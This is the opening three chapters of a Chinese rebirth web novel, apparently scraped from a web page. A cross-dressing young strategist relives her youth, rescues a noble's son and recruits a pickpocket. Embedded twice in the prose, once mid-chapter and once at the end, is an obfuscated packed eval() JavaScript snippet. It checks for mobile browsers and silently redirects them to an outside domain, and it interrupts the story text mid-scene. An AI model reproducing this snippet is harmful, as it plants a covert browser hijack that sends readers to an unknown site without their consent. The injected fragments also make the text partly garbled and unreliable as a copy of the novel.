《谋士也想翻身做主(重生)》 1. 重生 “天命匪僭,不可逆也。” “天回地游,四灵降休,灼龟观兆,辨分阴阳。” 一只枯朽的手捏着烧至暗红的青铜灼针,颤颤巍巍地刺入龟甲。一旁略有青涩的卜官仔细盯着老者的动作,忍不住冷汗直冒。 四周寂静,唯有龟甲开裂的声音。 老者低头,横纹截断纵纹,凶兆。年轻卜官不禁后退半步,又死死止住。 “天命匪僭,不可逆也。”老者话音未落,一柄剑就捅穿了这枯朽的身躯。 男子将剑收回,用龙袍擦拭着剑上的血,一双眼阴翳的看着跪在地上的年轻卜官。 “凤......凤凰于飞,和鸣锵锵。山河同春,万世恒昌!”年轻卜官高声喊着,俯下身子朝那男子跪拜。 这话成功愉悦了他,将手中的剑擦拭好后重新收回另一边被押着的女子腰间。 “昶儿,是大吉。” 他笑着摩挲着那女子苍白的脸,另一只手抓起她被挑断手筋的右手细细亲吻着,仿佛他们是深陷热恋中的爱人。 而那女子只是麻木的看着他,像个死人。 她眼里蒙上了一层血色,周围似乎是礼乐的声音,众朝臣们高呼万岁千岁,刹那间又归为了虚无。 ………… “季昶!小兔崽子昨天又偷偷溜出去玩了是不是?” 房门砰砰砰砸的震天响,院子里养的狗被吓得叫了两声就夹着尾巴低下了头,震得屋内墙上挂着的弓都要掉下来。 书房的窗户被猛的拉开,桌上被团得乱七八糟的纸被风一吹大多掉落在地上,纸上写着一堆旁人看不懂的符号,仔细看会发现这些随意乱放的纸正是外头卖到天价的“高阳纸”。 “老板,书房也没人!” 外头的声音变得更嘈杂了,季昶皱着眉想醒来却睁不开眼,鼻息充斥着一股浓郁的血腥味,在周身黏腻着很是难受。 “好你个小兔崽子,来人,把门踹开!”屋外有道尖利的女声,似乎对吩咐别人踹季昶房门这件事很有心得,一旁的人抓紧时间把太师椅搬来,扶着她坐下,又上了一杯茶。 那女人看起来三十有余,从头发丝到脚尖无一不显示出精致二字,此刻正气的一股脑把茶水全喝了,还下不了火气。 一旁还有个看起来十一二岁的小郎君正蹲在一旁低着头当鹌鹑,宝蓝色衣袍上的金绣纹样也仿佛失了光泽,腰间挂的一连串珠宝佩饰随着他身体被踹后的颤抖发出轻响,嘴里还小声默念着什么“季昶别怪我”云云,看起来神神叨叨的。 而踹他屁股的正是一个看上去与他长相年龄一般无二的女郎。 淡粉色的芙蓉裙摆被她随意攥在手中,腰间的青玉禁步和着手上的缠枝金臂钏叮当作响,紧锁的眉头中间贴着红宝花钿,看起来气鼓鼓的,边踹边用气声道:“让你们不叫我!让你们不叫我!” 屋内躺在床上的季昶听到了那喧嚣的动静,却像陷入了梦魇,怎么都醒不过来。 冷汗在苍白的脸上不断冒出,嘴唇更是没有一点血色,若不是还有细微的鼻息还以为她是个死人。 “嘭!”房门被撞开,外头清新的空气涌入,将屋内的血腥气冲淡一些。 撞门的那几个仆役在门开之后就很熟练的候在屋外房门两侧,等候那女人下一步发落,好多其他院当值的下人偷偷往院里瞧,嘴里说着什么“郎君惨咯”之类的话,脸上不见悲悯反而是忍不住的幸灾乐祸。 那位被称作“老板”的女人站起身来,手里攥着一杯新续上的茶,打算进屋直奔卧房,泼这个整日里就知道乱窜的小兔崽子一脸。 “今天不把你治治,我月云华倒过来念!” 刚踏入房门,月云华就闻到一股若有若无的血腥味,原本气愤的脸色一变,将茶杯丢给一旁跟着的婆子就冲进了卧房。那婆子穿过屏风看到自家小郎君面无血色的躺在榻上,周围还弥漫着一股血气,又吓又急。 “苏嬷嬷,快去请大夫!”月云华俯下身子看着季昶,什么气都消了,只颤巍巍的捧着季昶苍白的脸,心疼的说不出话来。 被称作苏嬷嬷的婆子一愣,转头哆嗦着腿都要不利索了,平时行事风风火火的她这会也一下子失了分寸,脑子嗡的一下,乱成一锅粥。 平时小郎君是经常不听话,也天天被月娘拿藤条抽,可从来没见她伤这么严重,别说月娘了,她这会的心都碎了。 苏嬷嬷刚要迈出屋子,就听月云华道:“等等!” 苏嬷嬷一下子福至心灵,转身将房门关上,进里屋果真看到月娘将季昶的被子拉开,血染满了下半衣衫和被褥。 二人对视,月云华一时脸上不知是哭还是笑的好,苏嬷嬷也稍稍松了口气,转身将屋内的窗户都关严了,走出房门转身将房门带上,吩咐院里的仆从:“诗语去请徐大夫,砚秋进屋去服侍你们郎君,其余人等都散了吧。” 院里那一对龙凤胎闻言看向苏嬷嬷,脸上都很是担忧的模样,站着的小女郎焦急地问道:“季昶她怎么了?月姨您别揍她了,都是我弟弟不懂事!”说完又狠狠踹了蹲着的小郎君一脚,那小郎君被踹的龇牙咧嘴但也心虚,只小声嘀咕:“明明我是哥哥。” “无妨无妨,就是从昨日回来到现在一直未进吃食,有些虚弱罢了,”苏嬷嬷走上前来,将蹲在地下的小郎拉起来,笑着道,“没事了,月娘看到小郎君饿的昏了就一下子气消了,这会儿心疼还来不及呐。贺兰小娘子,您也消消气,快跟贺兰小郎君先去前厅稍候,等会儿月娘就过去了。” 贺兰灏松了口气,往卧房方向看了一眼,窗户紧闭,但确实没听到月姨骂人的声音,只好点点头:“好,等季昶好了我们再来看她。” 转身拉着贺兰逸走去前厅,路上还听她恶狠狠地小声道:“不叫我去玩也就罢了,还玩的这么欢,让季昶都睡过头没吃饭,你就等我打你吧贺兰逸!” 贺兰逸自知理亏,拍拍屁股上的土,将身上的装饰重新捋好,确保等会不让人看出狼狈,小声说:“谁让你非要跟着月姨去庄子的。” “我去庄子前你怎么不跟我说你们要出去玩!” “唔,季昶说不让我告诉你。” “放你的屁!等季昶醒了看我俩怎么揍你!” 二人吵闹声渐渐远去,苏嬷嬷看周围人都走的差不多了,面色如常的站在门口守着门,等徐大夫来。 徐大夫名叫徐济苍,一家子都住西巷口,那片全是月云华的产业,当初见识到徐济苍的医术后月云华立马把那边一套最好的宅子给了他,还安排他娘子赵娘在月家产业做工,徐小娘子天资聪慧也顺利进入致远书院读书,后来徐济苍的长辈也被接到郊东庄子里。 一家人受月家庇护,徐济苍也没辜负月云华的好意,一直保守着季昶的秘密,季昶是女非男的秘密。 日落西沉,房内的窗户已经全部打开,余晖落在了季昶苍白的手背上,手指动了几下。 “咦,郎君醒了。”从早上一直守到现在的砚秋欣喜的起身,她和诗语都担心的很。 她们是从小跟着季昶长大的,贴身服侍,自然也知道季昶的秘密。二人都是孤儿,若不是月云华肯收留,在这世道早就饿死了,所以向来是拿季昶当妹妹看待,照顾时也更加上心。 “臭小子,你还知道醒。”月云华刚从前厅过来,一进门就听到她醒了的事,赶忙跑过来。 季昶刚醒过来的时候看到四周围着许多老熟人,看床帐这应该是自己少年时,又梦到月姨她们了,刚想感慨这个梦真好,一点都不想醒的时候耳朵就被捏住了。 “呃!”季昶条件反射起身躲开,就看到“梦中”的月姨正瞪着眼看着自己,刚想开口说什么,就听那人道:“知道自己错了?” 好真实的梦......等等,莫不是! “死孩子,你傻了?我问你话你别装听不见。”月云华气的又要去拽她耳朵。 “好了好了,郎君刚醒,徐大夫说失了太多血需要多补补,先喝点羹汤等会儿再训话。”苏嬷嬷连忙拦下,从砚秋手中接过来一碗野禽汤,里边还加着季昶爱吃的山蘑和补身体的枸杞之类,递给月云华。 刚刚月娘还红着眼说这孩子随她,来一次月信就要了半条命,这会子就又嘴上不饶人了。 月云华气的拒绝给她喂汤,要站起身就被季昶拉住了手,一下子跌进了这个单薄少年人的怀里。 一瞬间无数委屈涌上季昶心头,前世那些压得喘不上气的情绪像决堤一般,而她只能死死抱着月云华才心安。 砚秋看着向来成熟稳重的季昶突然这般情绪失控,想起来再怎么少年天才也不过是个总角之年的小孩,昏迷了一天一夜,又失了那么多血,害怕是正常的。 感受着肩处的温热让月云华一下子哑口无言,只能僵硬且小心地抚摸着她的头发,记得小时候摸的时候头发还是软软的,一眨眼功夫长这么大了,月云华叹了口气看了眼同样另一只手被拉住哪也去不了的苏嬷嬷,一时也心软的生不起气来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244513|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,自家孩子,还能打死她不成? 哭了一会儿季昶也接受了自己又重生了的事实,胃里空空如也,闻着一旁的野禽汤好喝的很,自己从苏嬷嬷手中接过几下就喝了个精光。 “你慢点,这野鸡还能飞了不成。”月云华忍不住念叨,却也知道孩子饿了一整天了,这正是长身体的时候,又失了那么多血,连忙又让砚秋去端来几碗。 喝完了,看着周围这么多人季昶也有些害臊了,毕竟她这都活了第三世的人了,怎么刚刚就跟真的小孩似的哭了出来呐,这会只好冲着月姨和苏嬷嬷嘿嘿直乐。 真好,还能再看到月姨她们。 月云华看着季昶傻乐,脸也有了血色,不知道她是羞的脸红了,只以为是补药有作用了,心想之后得对徐大夫那一家更珍重些才是。 “旁的等之后再跟你计较,现在先跟你说要紧的。你昏过去是来了月信,之前也跟你说过几次了,以后遇到不要慌张,”月云华正襟危坐,严肃的看着季昶,“你今年已一十有二,按照女子来讲已进金钗之年......” 季昶一下子想起来现在是重生回哪个节点了,还好,一切还不晚。 “但是,于男子而言,你还有三年才到束发之年。”月云华小心看着季昶,她知道这个孩子从小虽然顽皮爱玩,却是个有主意的,自小天资过人,饶是她刻意压着消息都有好多邻郡的文人来拜访季元鸿时提起她的事。 但是这孩子心性还是太急,急着想崭露锋芒,月云华不得不跟她讲明白这世道没有那么容易,特别是对于一个天资过人却没有世家大族给撑腰的女子来说。 “月姨,昶儿明白。” 上一世她急切的表露自己女子的身份,想向世人证明女子并不比男子差,一时间木秀于林,引得乾帝注意,十五岁及笄后便招去了太学。 对于并非世族出身的她而言几乎是莫大的机遇,她以为自己的时机已到。 然后,在那里走错了最致命的一步,遇到了慕容桓并轻信他,落得个撞柱而死的下场。 这一世,她要谨慎。 韬光养晦,直到自己有能力守护这些在意的人,那一刻便是利刃出鞘之时! “昶儿会暂避锋芒,等到能保护自己了再向世人证明。”女子向来能做任何事。 月云华之前准备了许久的说辞竟然用不上了,一时有点语塞,这孩子不知道哪里变了些,再仔细一看,没变,还是自家的好孩子。 “主子,温家二郎正在前厅等候。”诗语进门小声提醒,打断了二人的谈话。 季昶闻言心里闪过一丝奇怪。 “月姨,温昭怎么来了?”季昶小心试探,心里不断盘算着。 “你还好意思说!”月云华的气一下子又上来了,要去揪她耳朵,被她灵活躲到一侧后另一只耳朵就遭了殃。 “你昨日不在家里好好温习功课,跟贺兰家那个小子跑澜水边干啥?还把人温二给玩到水里去了,你真是能耐啊!” “哎呦疼疼疼,肚子疼。”月云华松了手,看到她笑嘻嘻的,脸上还有红晕,哪是肚子疼的样子。 “人家这是来找你要说法!趁着温慎行没来,抓紧时间跟我去道个歉。温家嫡系就俩孩子,温二又自小柔弱,人家要我月云华的命我也得掂量掂量!” 季昶起身在砚秋的服侍下穿好衣服,心里琢磨着跟上一世不太一样啊,但自己确实是刚重生回来,哪怕是有蝴蝶翅膀也不可能改变她醒来之前的事,嘴上说道:“月姨你放心吧,人家这是来给我道谢的。” 昨天她和贺兰逸趁着月云华去庄子上不在家去澜水边考察,偶遇了正在参加曲水流觞的温昭。 她早就料到这个诗会没意思,人家来请压根没去,连温昭这个被世家做派腌入味的家伙都中途出来透气了。 结果这小子不小心落水了,还是她跳下去把他捞上来的。 她让贺兰逸不许把昨天发生的事说出去,回来也没敢惊动其他人,随便换了件衣袍就睡了,结果正好来了月信,昏迷了一天。 季昶边往前厅走,边把昨天发生的事选择性的说了一下,月云华听了翻了个白眼:“以后遇到这种事要喊仆从,温家给他配的小厮一个顶你十个壮,还用得着你了!万一你救不了人也淹水了怎么办?” 果然跟上辈子说的话一模一样,而且看意思贺兰逸也跟上一世一样,卖了她,但没完全卖。 所以今日你又为何要来呢,温昭。 2. 明晗 二人刚迈入前厅,就听月云华道:“我也是刚听昶儿说起昨日之事,温二郎君现下身体可好?” 温昭起身向月云华行了一礼,那纤瘦的身影、雪白的脸庞,如同一朵倒春寒时被雪压枝头的玉兰,我见犹怜。 月云华赶忙让他坐下,命人重新沏了一壶热茶,又让人去拿来手炉。 虽然已经是春天了,温昭还穿着厚重的衣服,可月云华还是觉得他冷。 季昶坐在一旁,不动声色的观察温昭,看着对方并无什么异样,正常的将带来的礼品打开,除了一些月家本身也不缺的古玩珍宝外,应该还有几处琉光城地段不错的胭脂铺子,这礼送的既不太过贵重显得生疏,又恰好送到了月云华的心坎上,月云华最近正巧在准备做琉光城的生意。 上一世,月云华高兴地收下了,还夸不愧是温家,温二年纪轻轻就做事这么妥帖了。 “这是琉光城的几处书铺和胭脂铺子,”温昭顿了顿继续道,“书铺地段大多在琉光大街附近,胭脂铺子位置略偏但也效益不错。小小薄礼,多谢季君昨日救命之恩。” 琉光大街是琉光城主干道,也是最繁华的地段。季昶挑眉,又看了他一眼。 说完温昭起身向季昶方向行了一个大礼,温家其他随从也跟着拜向季昶。 上一世,这一日的温昭应该还在家里躺着,毕竟从小病秧子,落一次水掉半条命,这个礼是半月后在书院里当着众多同窗的面行的,自己当时都没料到温家二郎能众目睽睽之下给自己这个商贾之子行礼,不对,那时已经是商贾之女了。 所以结结实实受了这一大礼。 “温兄何必如此客套,你我同窗多年,于情于理不该见死不救。”季昶起身,稳稳托住温昭的双臂。 二人身量皆没长开,从月云华的视角就是两个故作成熟的小孩,温家二郎一向如此,倒是昶儿在人前也挺会装腔作势的,她有点想笑,一时也忘了推辞一下铺子的事。 二人对视一眼,季昶将他扶起,几人又寒暄了一会后,季昶道:“你身体不适,还是早些回家歇息的好,改日我去温家看你。” 温昭谢绝了月云华出门相送,季昶看着温昭慢吞吞的上马车,就听他小声道:“你一定要来,明晗。” “好。”季昶笑着目送温氏的马车远去,心道不愧是温瑾安,做事还是这么心思缜密。 上一世,及笄礼上,“明晗”这个字是老师亲自起的。 一来自己是在天刚亮时被月姨在战乱之地捡到,二来期望自己未来人生道路光明。 所以,十四的温昭绝不会叫十二的季昶“明晗”。 温昭上了车后就有些扛不住了,小厮看自家郎君倚在车内紧闭着双目,也只好连忙给他盖上大氅,温昭从小就是个犟种,认定的事十头牛拉不回来。 刚刚在月家不过是硬撑,实际上他人是刚从床上爬起来的,这会撑不住了在车里又昏了过去,隐隐约约又梦到了前世的事。 前世自己昨日是受邀参加诗会,本来没打算去,但是听说似乎也邀了季昶,就临时起意去了。 结果他没去。 诗会上许多人饮酒赋诗,他打小体弱,也不似长孙兄那般喜好饮酒,草草作了两首诗就出去透气了。 他年纪小,大多数人邀请他来一是为了满足好奇心,想见见所谓少年天才到底何许人也,二是因为温氏的名头,也不指望他真能跟他们这些早已束发的玩到一起。 之后就是在澜水旁,看到了季昶。 他没有来诗会,而是与贺兰家的小郎来这边不知道在做什么,见到他也不过是点了点头,就继续不知道忙什么了。 别人都以为季昶贪玩,每天不爱在家温习功课,但他知道季昶早就把那些圣贤书背的滚瓜烂熟,每日潜心研究的不过是造福百姓的事。 烧窑、修路、改良纸张、引种、贸易等等,这些明面上大多是月家为了做生意,但他知道许多都是季昶平时出来各地考察研究的,而这些东西的背后不仅为月家的产业又添一把火,还造福了许多百姓,让他们能找到更多营生。 连自己父兄都时常提起他——“季昶小小年纪却天资如此聪颖,既懂圣言又通民生,此子前途不可限量。” 而自己比他空长两岁,却像个庸才除了写诗作赋其余一概不通。 我也想知道,你又在研究什么? “喂!温昭,危险啊!” ………… 前脚温昭刚走,后脚贺兰家俩人又来了,月家和贺兰家本就相隔不远,这俩人又时刻关注着月府的动静,听说季昶刚出门送客了,就连忙赶了来。 “季昶!”未见其人,先闻其声,一转头果然是贺兰灏来了,身后跟着略有躲闪的贺兰逸,这小子一看就是心虚了。 季昶拉着俩人去她院里说话。 月云华正在让人把温家送来的谢礼收好,看到来人心想这俩孩子今天这是来了几遍了,又转念一想自家昶儿能有这样要好的朋友也是好事。 也快到饭点了,月云华派人去贺兰家通知了一声,留下俩孩子吃饭,贺兰家那边也习惯了自家小女郎小郎君天天混在月家,早在他俩走的时候就有了心理准备。 刚踏进季昶的院子,贺兰灏就忍不住开口:“你们昨日为何不叫我一起出去玩!” 季昶一早就有预料,连忙说:“我可没有,我跟贺兰逸说去澜水,只说让他保密,可谁知道他连你也瞒着。” 贺兰灏闻言气鼓鼓的看向贺兰逸,贺兰逸一时间也哑口无言。 毕竟当时季昶神神秘秘的,就以为是什么秘密行动,又加上平时有什么都是通知他俩一块,那天季昶没说要叫上她,且贺兰灏早就盼着要跟月姨一块去郊东庄子,他就......这下贺兰逸又心虚的看向贺兰灏。 三人进屋,季昶让诗语砚秋先下去,将房门紧闭。 季昶其实就是故意的,一来贺兰灏一直拿月姨当偶像,好不容易有个当小跟班的机会,二来她去了之后当天能多拖月姨一会儿功夫,她跟贺兰逸就能有更多时间去考察澜水。 但她会承认吗,当然不会,那就只能让贺兰逸背锅咯,谁让这小子嘴不严。 看他俩又要打起来,季昶连忙拦住,说:“好了好了,也怪我没说清楚,先别闹了。” “我明天出去一趟,你俩跟我一起行动。” “还要出去?”是贺兰逸。 "去哪儿?"是贺兰灏。 “保密,”季昶神秘的说,“毕竟某些人的嘴总是漏。”说完朝着贺兰逸看了一眼。 贺兰逸忍不住为自己辩解:“我,当时你把温昭救上来后被那么多人看到了......月姨一打听就能打听到,我只能说咱俩是去那边玩了。我没把咱俩考察的事说出来!” 其实昨天温昭被救上来后,四周除了温家的小厮外并无他人,可谁知打算走的时候突然又冒出了一堆人来,听他们的意思还是这次诗会的参加者。 围着温昭嘘寒问暖了半天,要不是长孙明轩说温昭现在应该回家找大夫,他们一时半会也冲不出人群。 虚伪无聊。 “我以后保证死都不会出卖你!”贺兰逸怕自己小伙伴不信任自己了,连忙站起来对天发誓。 季昶连忙拉住他发誓的手:“我信你。” 上辈子贺兰逸跟着自己去投靠桓王,结果一直坐冷板凳却每次都毅然决然跟自己站队,哪怕被人针对,被别人怀疑结党营私也一直支持自己。 还有贺兰灏,明明那么热爱做生意,那么向往自由的人,却在上辈子跟着自己去了太学,后来被赐婚给了她见都没见过的七皇子。哪怕婚后过得不如意也不敢告诉自己,怕伤了自己和桓王的君臣情分。 也不知自己死后,他们过得如何。 这辈子,她要保护好他们。 贺兰灏和贺兰逸看着季昶把他仨的手叠放在一起,也不说话,俩人面面相觑也拿不准自己小伙伴到底要干啥。 俩人吃完晚饭就走了,季昶在书房里收拾设计图,她昨日去考察澜水是为了设计水车,云澜郡地处大乾西北,隶属于九州之云州,紧邻北边沧凪、巴木两部,是整个云州最繁华的郡,但繁华是因为贸易往来拉动人流和经济,实际上粮食大多靠云州内其他郡。 因为澜水并不是贯穿整个云澜郡,仅在郡西有部分穿过,而郡西的农田早些年因战乱一把火被烧了个精光,人们大多在郡东种植,虽有引水渠但也不够高效。 且引水渠的开挖到底浪费太多人力物力,遇到某些地势高的地区水也无法顺利流下,雨季来临时还容易淹毁农田。 上辈子季昶还没等找到合适的人建好水车就被招去太学了,导致好多工具都没造出来。 这辈子……她放下手中的设计图,看向远处夕阳垂暮,大乾内乱迫在眉睫,届时她必须得有能护住想守护之人的能力,很多东西都要提前准备,比如 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叫着这俩主要是为自己打掩护的,同时贺兰灏对生意有自己的敏锐嗅觉,带着她来逛街,往往有奇效。 今天带了不少家丁,大多是身上有点功夫的。月姨前些天不让自己出门主要是担心人多眼杂,春季到了,许多沧凪、巴木来的商人就会来此地贸易,同时许多其他郡甚至其他州的商人也会来这儿。 她仨现在毕竟还是小孩,身上穿戴又这么显眼,保不齐就被不长眼的掳走了。 “视察民情嘛。”季昶含糊过去。 话音刚落,贺兰逸“哎呀”一声。 原来是被一个瘦小的身影撞了一下,那身影动作飞快,愣是让两家的一众家丁都没抓住。 贺兰逸连忙看了看身上,自己的一串珠子没了。 “该死的小贼!”贺兰逸气的拔腿就追,几个家丁跟着也去追那个身影,季昶一把拉住也要跑的贺兰灏,对着那几个家丁喊道:“跟紧你们小郎君!” 然后对贺兰灏说:“咱们几个别跑散了,珠子丢了事小,人丢了事大。” 贺兰灏点点头。 没过一会儿就有家丁回来报,那小贼找到了,季昶和贺兰灏连忙跟上。 那小贼被堵在了一条小巷中,竟然是一条死胡同,季昶压下心中闪过的一丝狐疑,看向那小贼。 看身量大概跟他们差不多大,但也或许是吃不上饭所以个子矮些,一张脸雌雄莫辨,倒是容貌清秀。 “你有本事再跑啊!”贺兰逸气喘吁吁,被一旁家丁扶着。他吃得多力气大,就是跑多了会虚,上辈子为了去桓王那儿不给季昶丢人,硬生生练了一身腱子肉。 周围也围了不少人,大多是看热闹的,那小贼面色胆怯的看着他们,倒像是季昶他们在欺负弱小。 “哎呀呀,借过借过,家里刁奴跑了出来,真是惭愧!”人群里突然冒出一个中年男人来,长得一副老实忠厚的样子,此时正钻进来擦着汗,嘴里直呼惭愧。 季昶闻言给了那几个家丁一个眼神,家丁们上前把那小贼抓住,几人围起来把其他看热闹的视线都给挡住。 “你说,这是你家奴隶?”季昶盯着那人问道。 那人似乎没想到自家刁奴竟然惹了看起来这么不好惹的人,咽了口唾沫,硬着头皮道:“真是惭愧,一时不察让他给跑了,不曾想竟然偷了小郎君的东西!” “刁奴!什么人都敢惹,还不快快将东西还与这位小郎君!” 那小贼一看大势已去,只好恋恋不舍的将那串珠子拿出来,竟然藏在口中,怪不得刚刚没搜到。 贺兰逸一脸嫌弃,碰都不愿再碰,只让一旁的家丁收着。 “唉,实不相瞒,这个刁奴闯了大祸,今日多谢各位郎君、女郎相助才没让他跑了,回头一定奉上谢礼,还想请问各位贵人是何处府上,改日也好叫我登门拜谢!” “不必了,你只说他回去会是个什么下场。”季昶拦住了即将开口的贺兰逸。 “那定然是由我们主子决定,左不过是乱棍打死,这位小郎君放心,”那男人说完便踢了那小贼一脚,一把拉住他纤细的胳膊将其提起来,“混账东西,还不快跟我走!” 周围人看热闹要看完了,都准备要走,纷纷给他让出道来。 “慢着。”季昶说完,家丁们都围了上去,拦住那俩人。 “你刚刚,说的不对吧。” 3. 季初 那中年男人一看季昶像是不愿就此罢休,只好回头笑着道:“那这位小郎君还有什么指示,我定回复我家主子,总归肯定不能让这刁奴好过。” “我听闻青州地界有这么一种骗术,”季昶缓缓笑起来,看着那老实的中年男人道,“一人冒充逃跑奴仆偷盗路人钱财,一人装作缉拿逃奴的管家,若那小贼顺利逃掉,二人平分脏物,若是没有逃掉,另一人便出来助那人脱身。” “我说你刚刚说的不对,事实是原有的谢礼与乱棍打死都没有,待你二人走后便会跑去别地,乔装打扮一番继续出来盗人钱财,是也不是?” 那男人面色慌张,却还想说什么,又被季昶打断:“而且不止归还这串珠子吧?我随身的金镶玉环也不见了,这么急着走是怕被我发现你们偷的东西不止一件吗?” 闻言那男人迅速看向那小贼,给了他一脚:“狗东西,你连我也骗!之前失手那几次你是不是也瞒着了?”早在刚刚季昶说出他们的骗术时男人就知道今日算是栽了,只是可气的是这狗东西竟然还跟他耍小心眼。 那小贼轻笑了一声,在怀里掏着什么,下一瞬整个人就如闪电般窜了出去。 然后被季昶的家丁抓住了。 “我既然说出来,就没有让你再逃走的道理。”今日这场闹剧已经够显眼了,看热闹的有许多认出他们三人的身份,剩下的不便多说,只让家丁把另外那个男人的嘴堵上,押去衙门那里。 “告诉郡守大人,这个小贼还有脏物未归还,待我回去好好审问再跟郡守大人答复。” 直到被关进月家柴房,那小贼才老实的闭着眼认命了,季昶吩咐把那小贼的手脚都用麻绳绑起来,把柴房锁了起来。 “季昶,你不审问了?”贺兰灏问,她刚刚被自己小伙伴又帅到了,决定回去多读书,也增长更多见识。 而贺兰逸,还在纠结要不要那串珠子,那是小叔送的,但...... “先饿他两顿。” 听到声音远了,那小贼又悄悄睁开了眼,眯着眼看了看人确实都走了,才放心。 天色尚早,闭上眼先眯一会儿,反正一时半会儿那小孩也不过来。 …… 丑时二刻,那小贼睁开了眼,不费多少功夫就把绑着手的麻绳解开,又把缠着腿的解开后悄悄起身,借着月光摸到门边。 今晚月明星稀,小贼透过门缝观察了一会儿,确定无人看守,从鞋里掏出一根铜丝,看起来应该是从某个首饰上掰下来的。 这是保命的东西,就算是穷的吃不上饭了也没卖了。 顺利透过门缝把锁撬开,小贼笑着出门,回头把门悄悄关上,再把那锁放在一旁,像是故意挑衅,心想小孩再聪明还是太嫩了。 下一秒回头笑容僵在脸上。 从暗中出现好多盏灯,一瞬间照亮了这个本就不算大的小院,一群人将这里围住,为首的正是今天识破骗局的小孩! “等你半晚上了,怎么才撬开,早知道就不把你绑起来了。” 那语气嘲弄,让小贼气的咬牙切齿。 “你早知我要跑?”声音有些沙哑,分不出男女,但也能听出是个比季昶大不了多少的少年。 “你自己进去还是我让人‘请’你进去?” 小贼咬咬牙,只好进屋把门带上,气的躺在地上。 “消停点,白天再说。” 然后门就又被锁上了,外头隐约还有灯光,看来是派人在这儿守着了。 小贼翻来覆去,最后只能睡了。 第二日快到中午了,季昶才纡尊降贵的降临这个柴房,让人把门打开后,带着人进屋。 小贼抬头,被光耀的睁不开眼,只隐约看到有个人从光中向这边走来。 “醒了?昨晚睡得如何?”这声音分明就是昨晚那个小孩。 小贼已经饿的不行了,懒得搭理她。 “说饿你两顿,就肯定不会饿你第三顿,上饭。”季昶笑着挥了挥手,诗语端着餐盘进屋,餐盘上是一碗粥和几个馒头。 小贼从来没见过这么白的米和面,一时间呆住了,看着诗语把餐盘放在地上,犹豫片刻还是不敢有所动作。 “我用不着给你下毒,快吃,吃完回我话。” 小贼想了想也是,要弄死自己可不跟碾死一只蚂蚁似的,拿起馒头狼吞虎咽的吃起来,吃完一整个,还嫌不太够,又拿了另一个,吃到一半才缓了下来,端起那碗粥喝了几口,省的噎得慌。 最后吃了三个馒头喝了一碗粥才停下,看来是饿了许久了,可能昨天被抓到的时候就是饿着肚子的。 “饱了?”季昶坐在砚秋搬来的太师椅上,看小贼不吃了,站起身来走过去蹲下看着那小贼。 “我没打你还让你吃饱了肚子,你按理说也得配合我问话吧。” 说的有道理,于是小贼说:“我没偷你东西,只偷了那串珠子。” “喔,那个啊,是我诈那个人的,谁知道他还挺蠢,真信了。” 那小贼一脸诧异的看着季昶,似乎在说“你连骗子都骗”,又想起昨晚她同样把自己也耍了,心里稍微平衡了许多。 “你除了动作灵活,会开锁,还会点什么?” 那小贼怪异的看着季昶,似乎没想到她会问这个,看了看她似乎是认真的,顿了顿,道:“唱曲。” “你?一副破锣嗓子唱曲?”那小贼看她不信,一副被小看了的架势,道:“我还能弹琴呐!” 季昶点了点头,但很明显不信,继续问道:“还有呢?” 那小贼突然勾起一抹笑来,说道:“调香,所以我的鼻子比常人灵敏些……”说完扫了一眼季昶腰间戴着的玉佩位置,她平日没有佩戴香囊和擦香粉的习惯,只有衣服上有似有似无的香味。 昨日就闻到一股淡淡的血腥味,那小贼当时没怎么在意,但是刚刚季昶过来的时候又闻到了,淡淡的常人几乎难以辨别的血气。 这些年走南闯北见惯了女扮男装的人,又结合季昶长得本就雌雄莫辨,她也不像是受伤,所以答案呼之欲出。 季昶没想到这个小贼竟然能猜到,直起了身子,这让她更想要这人了。 “嗯,猜对了,不过暂时没有奖赏。” 那小贼没想到她竟然就这么承认了,心中突然没了底,她看起来不像是要杀了自己,但也不能是要纳自己做填房,她要干什么? “想活吗?” 那小贼抬头。 “郡守那边已经来话了,你跟那个男的是路上相识,俩人结伴在各地行骗,不止云州,隔壁济州都去过,没有路引却能到处招摇撞骗,真是厉害啊。” 季昶居高临下看着对方,右手转着把玩左手拇指上的玉戒,缓缓开口。 “郡守那边肯定不能让你们活命,毕竟来路不明的人给放了进来,还犯了罪,又得罪了我和贺兰家,即使现在饶了你,待把你押到衙门......” 那小贼知道她说的对,又觉得自己也没什么可被图谋的了,于是一咬牙跪下来俯下身子道:“求郎君救我一命!” “可以,但我要你今后为我所用,忠心于我,你可答应?” 小贼抬起头,看着这位衣着不凡的贵人,虽然稚嫩但一双眸子似乎能看透心灵,张了张嘴,最后坚定道:“奴愿听从郎君差遣!” “你反复无常,行事狡诈,我不信。” 小贼听了,毫不犹豫将左手拇指咬破,将血涂在额头,右手指天,大声道:“我七娘对天发誓,若今后背叛郎君,永生永世,不得超生!” “好!” 季昶将七娘托起,道:“疑人不用,用人不疑。你既发誓忠心于我,我也必会信任你!” 然后又问:“你叫‘七娘’?可有姓氏?” “回郎君,并无。七娘也是因奴先前得手过七次起的代称罢了,奴自小便无父无母,更不知根在何处,还请郎君赐名!” 说完,又跪了下来,看着季昶。 季昶看着她,道:“昨日已死,现如新生,便叫你‘季初’如何?” 季初俯身朝着季昶磕了三个头,大声道:“季初谢郎君赐名!” 郡守那边收到了季昶的回话,说那个小贼又想逃跑,结果被仆从们追上乱棍打死了,现来向郡守请罪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244515|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 